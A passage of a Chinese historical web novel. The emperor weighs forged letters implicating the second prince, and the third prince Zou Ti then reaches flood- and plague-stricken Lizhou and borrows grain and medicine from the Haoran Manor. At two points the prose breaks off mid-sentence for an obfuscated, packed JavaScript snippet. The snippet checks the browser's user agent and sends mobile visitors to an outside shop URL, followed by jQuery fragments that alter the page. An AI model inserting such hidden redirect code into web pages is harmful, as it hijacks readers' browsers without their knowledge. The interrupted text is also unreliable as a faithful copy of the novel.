片刻的迟疑,沈凌反驳道:“陛下,濮水支流、銮城凉水河两岸受灾严重,銮城城中接纳了不少流民,金曲楼对外广施粥药,兀然对金曲楼发难,恐失民心。” 欧阳谨也道:“陛下,当务之急是利州的疫情。算算时日,三殿下最迟明日也该到达利州,利州共八十万人口,所需药材绝不是小数目,若疫病无法控制,往周边蔓延,届时,将是怎样的惨相,绝非言语能形容。” 听得认真的邹珣见几位大人没有要再说什么的意思,才适时道:“可瀚海城这批药材多是古籍中治疗疫病的根本所在,必须要找回来。” 成武帝点头,对邹珣的话似乎很赞同,但他一时并没有做出决断。 片刻,他才出声指名道姓喊,“沙於,瑅儿那边还没有传回任何讯息吗?” 沙於连忙答:“启禀陛下,暂时还未收到。” 他又说:“不过,瀚海城西边的郓城城尉命人送来了一封密报。据送信人所言,这已经是郓城城尉命人送出的第四封信了,前面三批送信人与瀚海城城尉都不知所踪。” “嗯?”成武帝质问道,“郓城城尉命人送出的密报为何会与瀚海城城尉一同消失?” 沙於连忙温声提醒,“陛下您忘了,三殿下生辰那晚,一江湖人自称受梁国公主李蕲所托,送来三封书信,那江湖人还大言不惭说二殿下与瀚海城城尉赵孟勾结,在鸿秋塞圈地挖矿、私铸兵器……” 话没说完,众人震惊,邹珣大惊失色,当即就跪了下去,“父皇明鉴,儿臣并不认识什么赵孟,更不敢私自铸造兵器啊父皇!” 成武帝不咸不淡睨他一眼,抬手示意他先安静,又看向沙於,示意他继续说,沙於这才继续说道:“您说二殿下为人聪敏,孝心有加,万不会做出这种大逆不道的事,定是那梁国公主因梁国宝藏被人追杀,走投无路之下欲以此空穴来风之事引得您的注意与庇护,让不用管她,因此,剩余两封书信也并非拆阅。” 沙於说罢,成武帝又想了许久,才捏着痛苦的眉心疲惫说:“朕想起来了,确有此事,书信何在?” “在偏殿,老奴这便去取来。” 成武帝点头,示意他去,而后,也不管众人,一手撑住额头,似乎疲惫至极,闭上双眸假寐。 直到沙於将一封已经拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802116|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开、两封尚还密封完整的信取来,并小声轻唤一声,成武帝才睁开双眼。 “陛下,现在拆开吗?” 拆开一封是梁国公主写给成武帝的信,另外两封胀鼓鼓的,信封还更加厚,也不知道里面有什么。 成武帝颇为头疼看着沙於手中的信封,片刻,他挥挥手,“交由韩威、李卓,你二人先替朕看看。” 两人立刻照做,不等沙於送过去,先一人上前随即接过一封,拆开查阅。 安静的间隙,只见认真阅读的两位大人本就严肃的脸上更添严峻惶恐。 成武帝出声问:“如何,信中分别写了什么?” 韩威闻言一惊,惊慌失措跪了下去,“陛下,老臣身为二殿下外祖兼太傅,却未尽到应尽的职责,臣万死……” 他又痛心疾首看向邹珣,“二殿下,你糊涂啊……” 邹珣大呼冤枉,跪着快速移动到他面前,“外祖,您再仔细看看,珣儿绝不敢如此作为啊!” 韩威闭目不语,邹珣猛地抢过韩威手里的信件,起身拿着跑到成武帝面前,“父皇,父皇,您看看,这怎么可能是儿臣所写……” 他激烈辩驳着,却在看清书信上的字迹先是一愣,随后失声大笑,“哈哈哈,哈哈哈,怎么会这样像,天要亡我啊!天要亡我呜——” 笑着笑着,他就痛哭出声,整个人也瘫软下去,沙於大惊,堪堪扶住他。 沙於求助看向成武帝:“陛下?” “赵英,给沙於搭把手。”成武帝冷声说罢,看向李卓,“李卓,你手中的信里写了什么?” 李卓从容不迫道:“启禀陛下,写信人命瀚海城城尉赵孟按所附鄂阳城防图所示,在今年二月前,将一批神武弩箭秘密送到鄂阳城中藏匿。” 成武帝问:“可有写明具体数量与藏匿地点?” 李卓摇头,“并未,也未曾提到欢香馆,具体数量和藏匿地点恐怕只有赵孟和写信之人才知晓。” “写信之人。”成武帝问,“你不认为这信是二皇子写的?” 闻言,被赵英扶到下方跪下的邹珣像是看到了最后一根救命稻草,激动看向李卓。 李卓没管邹珣,只认真分析道:“陛下,该书信的字迹的确与二殿下的字迹别无二致,但字迹并非不可模仿,二殿下贵为皇子,此事该严查后再下定论。” 成武帝赞同点点头,又问沙於:“沙於,郓城城尉派人送来的密报说还说了什么,可有那幅鄂阳城防图?” “未得陛下允准,老奴不敢僭越,”他说着对外道,“来人,将郓城送来的密报与送信人一同带上来。” 很快,两个流民打扮的中年男人被带到成武帝面前,他们脸上的泥泞都还未洗去,头发上、衣服上也都还是湿润的。 成武帝问:“你们从郓城赶来?” 两人显然是第一次见到这种场面,先砰砰磕了三个响头,其中更年长一些那个才结结巴巴开口搭话:“回皇帝陛下的话,我二人是受到郓城城尉刘石大人的命令,携密报从郓城赶来的。” 两人说话间,成武帝已经接过沙於递上去的密报,拆开看了起来。 他看完后才看向两人问:“既是受命送信,为何这副模样?半路遭到了截杀吗?” 成武帝说得还算温和,但说到‘截杀’时,在场所有人都是一凛。 两人也组织半天才又开口,“回皇帝陛下的话,第一封密报在七月十六日就送出来了,迟迟不见回信,七月二十四日,刘大人又先后派出两批人,但都很快没了消息。” “七月二十九日,刘大人又命我等共十人,两两一队乔装前往,我们遭人追杀,又不幸遇上连日暴雨,也幸好许多失去家园的百姓往鄂阳来,我们借机扮做流民混入流民行列,才终于活着来到圣上您的面前。” 这人说着说着就哭了,另一人也跟着默默流泪,显然这一路受尽了痛苦与委屈。 “你二人受苦了,精神更是可嘉,”成武帝道,“沙於,待雨停后传信郓城,此二人官升三爵,各赏三百金。” 两人闻言欣喜激动不已,热泪盈眶,连连磕头谢恩。 成武帝抬手示意两人停下,“你二人先下去休息。” 两人又嗑了几个响头,这才在沙於派去的太监的指引下离去了。 成武帝将密报递给沙於,“给众为大人看看,把那两封信拿来朕瞧瞧。” 沙於立即照做。 等待的时间,有人想说话,都被成武帝拦下,“你们先看过再说。” 闻言,众人只得等待传阅。 确定每一个人都看到了,成武帝才道:“现在有什么想法,你们都可以说了。” 此话一出,一时间倒是没人说话了。 “怎么都不说话了?”成武帝问。 众人你看我我看你,最后还是李卓先开口,“启禀陛下,臣认为灾祸疫病当前,鸿秋塞既已查封,便稍候些时日,灾疫过后再严查不迟。” 颍王邹黍、太尉欧阳谨、御史大夫沈凌紧跟着附议,见三人都如此表态,九公之中也有好几人跟着附议。 邹珏见状,虽也赞同了李卓的提议,但他话锋一转,又一次提到:“陛下,臣还是认为此次是出兵金曲楼的最佳时机。” 欧阳谨似乎有些烦了,言辞犀利了些,“我大嬴收复失地的数十年间,金曲楼曾多次为我军提供急而有效的信息,那些庞大的江湖势力的确需要削弱,但难得停战,能拉拢愿意归附的,何必要再动干戈?” 邹珏一愣,随即面露委屈之色,“太尉此话说得未免太过严重……” 赵英收到成武帝的眼色,连忙调和,“睿王年轻气盛,不曾上过战场,又未接触过兵马调度,此刻趁机出兵荡平金曲楼的提议虽过于天真偏激,但本心是未陛下分忧啊太尉。” 闻言,欧阳谨嗯了声,欲要反驳邹珏的长篇大论只得都按回腹中。 见邹珏又要再说什么,成武帝先一步道:“欧阳谨,就近再调五百神武军追回銮城被劫药材,若发现药材确为金曲楼所抢,立刻联合銮城府兵将金曲楼围起来,若与金曲楼无关,草寇交由銮城依法处置,神武军则即刻运送药材前往利州。” “诺,臣就这去办。” 得到成武帝点头首肯,欧阳谨先一步去发令调动兵马了。 成武帝又看向失魂落魄跪着的邹珣,“赵英,送二皇子回府,再调一百龙武军护卫二皇子府,事情查清之前,二皇子不得离府半步。” 邹珣燃起的希望火苗灭了。 韩威突然出声喊道:“陛下,” 邹珣又燃起了希望,却听韩威说:“臣年老体衰,处处失职,恳请陛下念在老臣三朝为官、忠心耿耿的份上,准许老臣还官回乡,以乞终年。” 此话一出,众人都是一惊,邹珣的希望火苗再次灭去。 成武帝沉吟片刻,道:“卿之劳苦朕牢记于心,但……” 他一时没有下文,李卓出列,言辞平静劝道:“暂暴雨未歇,左相的故居亦在受灾城池之列,何况左相还有旧疾在身,纵使要告老还乡,也要待雨停之后。否则,陛下如何能安心。” 韩威话还没说出口,成武帝又抢先道:“李卓所言皆为朕之顾虑,沙於,快扶韩卿起来。” 他又说:“传朕令,念韩卿年迈心乏,韩卿手中职务暂由李卓、沈凌、颍王三人代理,再特派太医令丞每日亲往左相府为韩卿调理身体,待卿旧疾痊愈,若卿执意返乡,朕再设宴为卿送行。” 话已经说到这份上,韩威纵使再不情愿,也只得跪谢圣恩。 * 终于摒退众人,偌大的御书房又只剩下成武帝和沙於两人。 成武帝脸上尽是疲态,甚至还有些痛苦之色。 沙於关切问:“陛下可是又头疼了,老奴宣太医令丞来为陛下看看?” 成武帝摆手,“朕只是太累了。” “老奴这就命人去为陛下呈碗热汤来。”沙於说着就要离开,但又被成武帝叫住了。 “喝不下,沙於,你替朕按按吧。”成武帝,说着,拿过手边的白纸整张放在烛台上烧了起来。 见状,沙於只得轻声回到成武帝身后,仔细为他揉按头部的穴位。 过了一会儿,沙於问:“陛下,好些了吗?” 成武帝嗯了声,似是自言自语道:“也不知道瑅儿到没到利州,有没有被疫病影响。” 沙於轻声安抚,“三殿下有陛下记挂,又有精通医术的子瞮典客陪同,此行定能带功而返!” “活着回来就好……” 53.辽炀卷·第八章 8 这是邹瑅带着两百龙武军与八十车赈灾粮离开鄂阳、前往利州的第十一天。 利州与鄂阳相距太过遥远,虽已经提前命各地府兵清理附近道路,但暴雨不停,往往才清理完就再次塌陷挡住去路。 六日前,在路上遇到利州来的斥候,说利州爆发了疫病,邹瑅生怕利州官员控制不住疫病,下令封村、任由百姓自生自灭,甚至更狠毒。 再三思考之下,他当即将粮食和人马交由骁骑校尉余衡,自己则带着子瞮和八人快马加鞭先往利州。 没错,余衡正是卫尉兼鄂阳内史余季萌的第二子,时年二十五岁,十七岁进入军营,二十岁被选入龙武军,多次和邹瑅、邹杲出生入死,是邹瑅信得过的人。 经过六日的连夜赶路,邹瑅十人终于到了利州地界。 利州城中受灾也很严重,地面的积水都快没过膝盖,积水浑浊脏污,迟迟不见退去痕迹。 见邹瑅面露忧色,子瞮温声道:“附近不见百姓流离,一路过来也并未看到村落被府兵围堵,想来殿下你最担心的场面并没有发生。” 话虽这么说,邹瑅沉重的情绪还是化不去,他点点头,“先去城尉府。驾——” 话音未落,几人依次策马淌过积水,溅起浑浊水花,往城尉府疾驰而去。 城尉府衙外也都是积水,但地基较高,里面并未被水淹没,老远,就听到说话声。 走进一看,果然,其中收纳了不少百姓,已经是傍晚,他们正在分粥喝。 几人下马才上前两步,府兵就过来拦下了他们。 “你们也是流民?”府兵用警惕的语气问。 十人连同马儿都穿着蓑衣,比起衣衫褴褛的流民,体面了不止一份半点。 邹瑅的担忧在看到井然有序排队打粥喝的众百姓时就消散了一些,他拿出皇子身份令牌和仔细收在怀中的委任令,“我是此次的利州安抚司尉邹瑅,带我去见利州郡郡守。” 府兵确认之后,当即就要行礼,但被邹瑅拉住了,邹瑅又重复一遍:“带我去见利州郡郡守。” 四个府兵一合计,查验邹瑅身份的那名府兵连忙在前面领路。 看到他们的到来,众百姓先是露出欣喜的神色,见他们身后再没有任何东西,眼中的光亮又黯淡下去。 他们给人一种身体虽还活着,精气神却早已消散不见的感觉。 上了二楼,邹瑅才问:“疫病形势如何,目前有多少人染病?派人前往救治了吗?” 府兵还没组织好措辞,一行人已经上了楼。 二楼听到声音的大小官员都听到声音看过来,府兵连忙道:“大人,鄂阳派来的安抚司尉三皇子殿下到了。” 闻言,一富态的中年男人将手里浓稠一些的米粥往身边人手中一塞,激动迎上来抓住了邹瑅的手,“殿下,您终于来了!” 又有几人围上来,有的手里端着的碗都没放下。 “殿下,您来得可太及时了!” “是啊,太好了,我们不用挨饿了!” 邹瑅闻言心中一咯噔,有些不忍,但还是直言道:“我听闻利州爆发疫病先行前往,粮食还在路上,若大雨不停,最早一批至少还要十日才能到。” 此话一出,众人一片唏嘘,四散而去,抱着自己手中的粥,仿佛这就是最后一顿了一样,吃着吃着就哭了。 利州郡郡守兼城尉朱轶自然也沮丧,但不得不和邹瑅汇报:“怀鹤乡一带是爆发了疫病,三日前,受常胜王的指示,我等已经召集了大批过去医者,又冒险将染病的百姓与未染病的百姓隔离开来,禁养在怀鹤乡城中,但……” “常胜王来过这?”邹瑅惊喜打断他,“常胜王人现在在哪?带我去见他!” 朱轶一愣,感受到手上邹瑅抓得有些疼的力道,才反应过来,一边小心翼翼挣脱,一边弱弱说:“常胜王昨日清晨就离开了,具体去了哪里,他未说,我等也不敢问。” 邹瑅肉眼可见的失落。 子瞮听到邹杲的名号时也是意外的,在看到邹瑅欣喜异常的模样时,更觉难过,但此刻,他也反应过来了。 他才邹瑅耳边小声提醒道:“殿下,我们此行的目的是赈灾救疫。” 闻声,邹瑅才反应过来,他松开朱轶,自己寻了个位置坐下。 朱轶亦步亦趋跟随,又殷切问:“殿下远道而来、风餐露宿,想来也饿了,先吃点薄粥?” 这一路的确没吃好,但锅里的粥已经见底了。 邹瑅摇摇头,“你刚刚还要说什么,继续说。” 朱轶连忙接着汇报:“但利州城中药物受潮严重,能用的只剩不到百分之一。” “常胜王还强迫我等将城中余粮分发到各乡县,城中余粮也所剩无几,最多只够撑…三天……” 听他说完,邹瑅沉思片刻,问:“浩然山庄受灾情况如何?有去问他们借过粮吗?” “浩然山庄在暴雨的第二日就转移到了浩然山上的避暑山庄之中。”朱轶更加低落,“已经去借过了,他们给了两千石,说他们浩然山庄有两千多张嘴巴等着吃饭,这已经是他们能给的极限,还望官府高抬贵手给他们留条活路。” 邹瑅头疼,但还是继续问:“利州目前共用多少灾民?死伤情况如何?” “利州原本八十万人,据估,目前只剩下七十万人不到,其中,有近三十万人流离失所。” 朱轶说得有些结巴,都做好了被邹瑅训斥的准备。 出乎他意料的,邹瑅并没有呵斥他,邹瑅沉默了许久,才和他说话,语气虽然染上了悲伤,但依旧给人一种可靠的感觉,“你快去吃饭,吃完清点五百府兵,同我去浩然山庄借粮。” 朱轶闻言一愣,欲言又止,见邹瑅摆手不欲再说,他才不情不愿起身离开。 子瞮在邹瑅身边蹲下,温声询问:“我们带来的粮食还有一小袋,我让人去煮了,殿下吃了再去吧。” 邹瑅吃不下,他摇头拒绝,欲言又止看向子瞮,犹豫许久还是没能开口。 子瞮倒是耐心等着,如此,又过了好久,他才喃喃开口:“子瞮,你害怕吗?” 子瞮明白他省去的内容,‘害怕死吗’。人都是怕死的,或许有少数例外,但子瞮并不是那少数。子瞮如实点头。 邹瑅见此心中沉重,一时不敢看子瞮,当即就要收回视线,可子瞮却先一步伸手抓住他的手,“但是殿下,我还是那句话,我这条命,是殿下救的,我愿为殿下赴汤蹈火,哪怕是飞蛾扑火。” “别这么说。”邹瑅露出疲惫的笑容,“我本来想让你先代替我去怀鹤乡看看,但阿杲已经来过,我人也已经在这里了,量朱轶等人再胆大包天也不敢谎报疫情,你手无缚鸡之力,还是和我先去浩然山庄借粮借药,之后再一起去怀鹤乡吧。” 子瞮握住他的手,笑着点头,“好,都听殿下的。” 一瞬间,邹瑅只觉仿佛回到了从前,也紧紧回握住他的手,心中有千言万语想说,但人多眼杂,最终还是什么也没说。 这时,又见朱轶去而复返,他身后还跟着两个端着粥的年轻女子。 朱轶肥胖脸上的五官笑得挤作一团,“殿下,此处去往浩然山,骑马也需要四五个时辰,还是让她二人伺候您吃些粥吧。” 两名女子容貌清丽,但穿着一般,人更是消瘦的,显然是朱轶才去院中的难民里挑选出来的,比起攀高枝,她们显然更想喝掉手中的粥。 “这两碗粥你们喝了吧。”对两名女子说罢,邹瑅又看向朱轶,“你派人去寻一口小锅来,我们身上还有些吃食。” 邹瑅说一不二的凌厉目光让错愕的朱轶不敢不从,连忙转身去照做。 两名女子如获至宝,却没有立刻吃掉,似乎是还有记挂的人。 邹瑅叹了口气,又说:“人多粥少,我可以准你们带出去,但你们有能力把它带到你们记挂的人面前吗?与其被陌生人抢去,不如先填饱自己的肚子。” 两人一愣,随即顾不得形象,抱着大口大口喝了起来。 “慢点,我会努力让大家都吃上饱饭的。” 两名女子热泪盈眶,也许是感激,也或许是期许,她们一时说不出话来,只跪下砰砰磕头。 邹瑅起身将两人扶起,“这是我该做的,不用跪我。”他又说,“你们快些喝了,然后回去吧。” 两人更加想哭,默默加快速度,很快放下舔得干干净净的碗,转身下楼去了。 邹瑅对身前围坐着的八人道:“你们自己商量,待会留下两人留守此处,别让那些年轻貌美的女子被人趁机欺负了去。” 他又补充一句,“留守未必轻松,做好动手受伤的准备。” 八人一番眼神交流,很快定下留下的人员,朱轶也取来一个小锅和一个火盆。 他们带的是能直接食用的干粮,煮开一锅水,用热水一泡就吃了。 快速吃完,府兵也集结完毕,在朱轶的指路下,邹瑅当即带队,拖着空车前往浩然山。 * 或许是老天爷可怜他们,出城没多久,雨渐渐停了,这大大助长了士气。 天蒙蒙亮,众人就到达了浩然山庄位于山上的避暑山庄。 虽是私人的山庄,占地面积却不小,建筑更是红墙绿瓦、雕梁画栋,虽比不上鄂阳宫辉煌威严,却也修得很是气派,。 还未靠近,就有两名雄武的看门人迎上来。 不等邹瑅说什么,一看到他们拖着的空板车,两个雄壮的男人开始哭穷,“官爷啊,您高抬贵手,给我们浩然山庄留条活路吧,我们自己都开始吃糠咽菜了,哪还有余粮借给你们啊……” “其他人的命是命,我们浩然山庄两千多老小的命就不是命了吗,官爷,您不能厚此薄彼啊……” “你们——少在这给我哭,知道这位安抚司尉是谁吗……” “朱轶。”邹瑅叫停狐假虎威的朱轶,又下马看向两人,“普天之下莫非王土,王土之上皆我大嬴子民,我此行是为让更多大嬴子民活下来,浩然山庄自然也在其中。” 他亮出身份令牌,“还请你们快去通报你们主人一声,就说利州安抚司尉、三皇子邹瑅求见。” 一见邹瑅是如假包换的皇子,两人都有片刻的慌神,但很快,其中一人道:“您稍等。” 说罢,拉着另一人转身打开一条门缝,一溜烟消失不见,大门再次紧闭起来,像是生怕他们趁机闯进去了一样。 朱轶就没忍住跟邹瑅骂道:“浩然山庄就是如此,祖上在我大嬴分裂时靠商贾术挣足了昧心钱,后又以收徒等各种冠冕堂皇的名义广招人才,对我们这些大嬴亲任的官差阳奉阴违,我看他们就是怀有异心。殿下,您何苦对他们如此客气,直接跟陛下请兵一举剿灭……” 邹瑅原本还想听他说完,但见他越说越难听,想到习武之人大多耳聪目明,连忙厉声呵斥:“我们是为借粮,而非抢夺,朱轶,谨言慎行。” 朱轶犹有不服,但见邹瑅的脸色,撅着嘴巴不敢再说什么。 等了估计得有两炷香的时间,朱轶和一众府兵都等不耐烦了,朱红色的大门才再次打开。 迎面走来一个满头白发,但脚步稳健的老妪。 “老妪来迟,还望皇子殿下恕罪。” 虽然知晓这老妪多半是一个江湖高手,但邹瑅还是快步上前将人扶起。 “婆婆快请起,不知你家主人现在何处,可有时间见我?” 老妪后退两步,拉开距离,“我家主人身体有恙,” 闻言,朱轶就要上前指着她鼻子骂她,但被子瞮先一步示意身边的人按了下来。 老妪扫他们一眼,这才看向温文尔雅的邹瑅继续道:“听闻皇子殿下远道而来,拖着病体离床梳洗,这才慢了些,我家主人已经备好酒水,请皇子殿下随我进去。” 她虽是这样说,却没有立刻转身带路,而是看向身后乌压压的五百名府兵。 邹瑅立刻会意,将手中马儿的缰绳交给身后的人,命令道:“朱轶,原地驻扎,在此等候,没有我的命令不得无礼擅闯。” 朱轶有异议,但被邹瑅一个眼神堵了回去。邹瑅这才又看向子瞮,说话的声音也温柔了些,“子瞮,你同我进去。” 子瞮点头说好。 邹瑅又看向老妪,“婆婆,还有劳你命府上的奴仆烧点热水,分给他们喝些。” “我家主人已经命人煮了肉汤,稍后便送来。” 一听有肉汤喝,众府兵都开心了,就朱轶更加对浩然山庄不满,但有邹瑅压着,他也不敢发作。 * 浩然避暑山庄内部更加的大,楼台水榭、假山花园,完全就是在水上建起的这座避暑山庄,也不知道山顶哪来这么多的水量,若没被这场大雨侵扰,定然是一个避暑的好去处。 或许是趁雨停,一路走过来,看到不少男女老少在莲花池中劳作,抢救被大雨摧残的莲花、采摘莲子,以及挖莲藕。 浩然山庄的主人在一个水榭中接见他们,远远还未靠近,就见一个清丽的背影背对他们坐在其中。 几大江湖势力的大概信息邹瑅都知晓,但知晓是一回事,亲眼见到又是一回事。 浩然山庄有两个当家人,其一名为汪修蕴,浩然山庄汪家本家人,江湖人称南乡水中仙,据说他在水中无人能敌,能在水下行动自如半个时辰之久。 其二名为江沁月,浩然山庄上任家主的养女,江湖人称青墨仙子,她素爱青衣,不但是有名的书画大家,还能用她最擅长的笔墨杀人于无形之间。 此刻在水榭中等他们的,看衣着打扮,不出意外就是青墨仙子江沁月本人了。 这位青墨仙子年芳四十有余,据传并未婚嫁,但她一头青丝却用几根素玉簪松散盘起,完全就是已婚女子的装扮,只看背影都散发着浓浓的温柔之感。 还未靠近,邹瑅和子瞮就都放缓脚步与呼吸声。 老妪将他们带到江沁月身后五步时停了下来,温声道:“主人,皇子殿下来了。” 江沁月并没有起身迎接,而是背对他们说:“我身体抱恙,咳咳,不能起身亲迎,咳咳咳……” 话没说完咳得更严重了,老妪一惊,连忙上前为她顺气。 邹瑅也是一愣,连忙走到她面前愧疚道:“江家主言重了。浩然山庄对利州百姓已经算是仁至义尽,是我不该扰江家主清养。” 江沁月也缓和下来,她勾唇笑了笑,“殿下既然来了,便先坐下吧。” 邹瑅应了声好,拉着子瞮坐下。 从她面上能看得出,她是盛装打扮过的,还往脸上唇上抹了些胭脂水粉,但压根遮不住她的病气。 和江湖上流传的一样,她的双眼上蒙了一条与衣服同色的青绿色绡纱,这条绡纱更为她添了几分只可远观的仙性。 江沁月挥了挥手,老妪转身退下。 她又拿起面前的白瓷酒瓶,“利州渔米香,殿下尝尝?” “多谢。”邹瑅拿起面前的空酒杯,双手捧着递到她手中的瓶口下,江沁月不多不少,为他倒了刚好一杯。 她又微微偏过头面向子瞮,“这位小公子也尝尝?” “晚辈名唤子瞮,无名无姓之人,担不起前辈一声公子,前辈直呼晚辈姓名就好。”子瞮说着,将酒杯也递了上去。 江沁月笑笑,没说话。 见状,邹瑅和子瞮两人对视一眼,虽有狐疑,但片刻犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808081|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,还是端起酒杯细细品尝起来。 香甜凉爽,一口下去就是安逸,鱼米之乡的舒适富饶仿佛都浓缩进了这一杯酒中。 她又拿起筷子,让两人看向桌上的菜肴,“正逢水涝灾情,只有这些粗茶淡饭,还望殿下不要嫌弃。” 说是粗茶淡饭,实际荤素兼具、点心水果一样不缺。 四荤四素都是利州这边的名菜,看着精致漂亮,吃着清爽不腻。 想到此行的目的,邹瑅欲言又止,正为难间,就听江沁月说:“听闻殿下心系利州百姓,自鄂阳千里迢迢赶来还不曾吃过一顿热饭,咳咳,” 邹瑅一惊,生怕她咳出好歹,连忙起身要喊人来,但被她抬手止住了。 “我无妨,”她笑着继续说,“既来到我浩然山庄,便让我代替利州百姓尽尽地主之谊吧。殿下先吃,吃完再说。” 子瞮扯扯邹瑅的衣袖,示意他先坐下。 邹瑅只得先坐下,接过子瞮递给他的碗筷。 见江沁月已经拿起筷子开始用餐,他也担心江沁月话说多了引起咳嗽,只好先吃饭。 一顿饭虽吃得斯文安静,但邹瑅和子瞮的确是好久没吃过这么美味的热菜热饭了。 待江沁月放下碗筷,两人红着脸将所有的饭菜吃了个干净,连汤都没放过。 老妪去而复返,又端来些吃食。 江沁月拿出两张洁白的手帕笑着递给他们,两人更加脸红,却也觉得温暖,尤其是邹瑅,江沁月给他一种母亲的亲近之感。 擦嘴的时间,老妪也将桌上的碗碟都收走了。 江沁月拿起一个莲子,认真剥了起来,很快,她剥出一个,令两人都没想到的是,她将那颗莲子递到了邹瑅面前。 邹瑅一愣,求助看向身侧的子瞮,子瞮也很茫然。 这时,听江沁月笑道:“避暑山庄中结出的莲子,养心安神、清热泻火,常胜王吃过都连连称赞呢。” 邹瑅又检索了关键词,他一激动,正要出声询问,大腿先被子瞮按住了。 子瞮摇头,眼神示意他不要轻举妄动。 邹瑅心有不甘,但还是选择相信子瞮。 他道了声谢,接过莲子放到嘴里咀嚼起来。 江沁月笑着又剥了一颗递给子瞮,子瞮也笑着接过,“谢前辈照顾,前辈身体抱恙,晚辈自己来就好。” 江沁月笑笑,手上动作不停,只是不再分给两人,而是自己吃了起来。 静静等了好一会儿,邹瑅终于还是没耐住性子。 邹瑅出声问:“前辈,不知常胜王何时来过,所为何事,人现在又在何处?” 江沁月一一答,“昨日傍晚来,吃了顿饭,拿了些莲子,便离开了,人现在在何处,我也无从得知。” 邹瑅泄了气,想不通邹杲怎么总是快他一步,又刚好遇他错过,只是巧合吗,还是不想见他。 这时,又听江沁月说:“殿下此行是为了借粮药对吗?” 不待邹瑅回答,她又说:“十车药材已经备好,现在西侧门,答应常胜王的三万石粮食得去粮仓运,趁雨还未起,殿下快些同我的人去装运吧。” 闻言,两人都是一愣。 “这已经是浩然山庄能拿出的极限,望殿下念着我为你剥莲子的好,给我浩然山庄两千老小留条活路,不要再带兵前来。” 她笑着补充又说:“当然,殿下若是想念浩然山庄的莲子了,要再来,我自然也是夹道欢迎的。” 话都说到这地步,人家也给留足了体面,邹瑅哪还说得出什么话来。 他起身朝江沁月郑重鞠躬行礼,“多谢江家主慷慨相助,待灾情平复,我会尽快返还。” 江沁月笑笑,拍拍手掌,在不远处候着的老妪上前来。 “晴婆婆,装些莲子,带殿下去装运粮食吧。” 晴婆婆应好,又对两人说:“殿下,请随老妪来。” 邹瑅看向剥莲子剥得认真的江沁月,踌躇片刻,还是出声道:“江家主保重,晚辈告辞。” “慢走。”江沁月笑笑。 * 走到大门外,跟随而来的两百府兵还在吃饭,有不少人手里抱着肉已经被啃干净的骨头、企图吸食其中的骨髓,龇牙咧嘴的,很不成样子。 尤其是朱轶,看到邹瑅来,当即将一根大棒骨藏到身后,脸上满是油脂,根本就是此地无银三百两。 “殿下,”朱轶嘿嘿笑道,“您吃过饭了吗,没有的话来吃点?” “我都看到了,别藏了,拿出来赶紧吃。”邹瑅又看向众人,“再给你们一炷香的时间,吃完随我去取粮。” 众人一愣,随即欢呼出声,要不是不合礼数,一部分人都恨不得给浩然山庄嗑一个。 邹瑅对晴婆婆说了声,麻烦她再稍等片刻,晴婆婆自然应好。 邹瑅拉着子瞮在一个角落坐下,闲着也是闲着,两人拿出晴婆婆给他们打包的莲子,剥开吃了起来。 没一会儿,朱轶腆着笑脸凑到邹瑅身前,“殿下,这莲子好不好吃啊?” 邹瑅接过子瞮剥好递过来的莲子,满不在意道:“还不错。” 朱轶一顿,片刻笑着又说:“浩然避暑山庄的寒莲在利州可是难得的好东西,可惜浩然山庄的人太过古怪,这别说莲子莲藕,就连莲叶莲花都只送不卖,我在利州为官五载,还没能尝过这莲子是苦是甜呢。” 他挤眉弄眼的表情太过滑稽,邹瑅再也忍不住,笑出了声。 “好了子瞮,给他一个,让他好好尝尝是苦是甜。” 子瞮闻言挑选了一个最小的递给他。 朱轶欢喜不已,又凑近了些,“谢殿下恩赐。” 一张油腻的大脸赫然在眼前放大,有些惊悚。 邹瑅连忙动了动手,示意他退远点,朱轶也不觉难堪,嬉笑着退开一些,邹瑅这才说:“好好尝尝这莲子是苦是甜,再细细品品这甜从何来、苦因何起,以及你以后嘴馋想再尝,该如何行事。” 其中隐喻已经说得很明白了,朱轶为官那么多年,自然都懂。 他装傻笑笑,“嗯嗯好的,下官谨遵殿下教诲。” 邹瑅摆手示意他一边去,他目的达到了,自然跑了。 邹瑅又将莲子分给跟随而来的六名龙武军,趁几人吃的片刻,他看向子瞮,“子瞮,” 子瞮剥莲子的动作一顿,叹着气也看向了他。 “怎么了,殿下。”明晃晃的明知故问。 邹瑅知晓,当下还是不说为好,但不说他心中好像压着一个大石头,怎么都不得劲。 “子瞮,你说阿杲为什么总是先一步替我解决问题?他都能四处奔波为我保驾护航,为什么不能等一等,和我见上一面?” 子瞮不语,表情复杂,也不知道是因为邹瑅的问题的答案,还是别的什么。 邹瑅又抓住子瞮的手腕,“子瞮,我很差劲无能吗?” “阿杲做这些是不是不是为了我,而是为利州几十万百姓?” 子瞮郑重打断他,“殿下,你很好很厉害了。” 邹瑅问:“好在哪?厉害在哪?” 子瞮一顿,还没想好从哪一件说起,就听邹瑅苦笑道:“算了,不为难你了。” 说罢,他起身检查车马去了。 “殿下。”子瞮连忙追上去,想说这对他而言不是为难,但邹瑅再没给过他说话的机会。 很快,吃饱喝足的众人启程前往浩然山庄的一处粮仓运粮。 粮仓就在利州城外十里不到的山洞中,刚好三万石。 迫于邹杲威压分发下去的粮食足够吃上半月,这三万石只需供应利州城和怀鹤乡百姓,足够坚持到赈灾粮陆续送达了。 54.辽炀卷·第九章 9 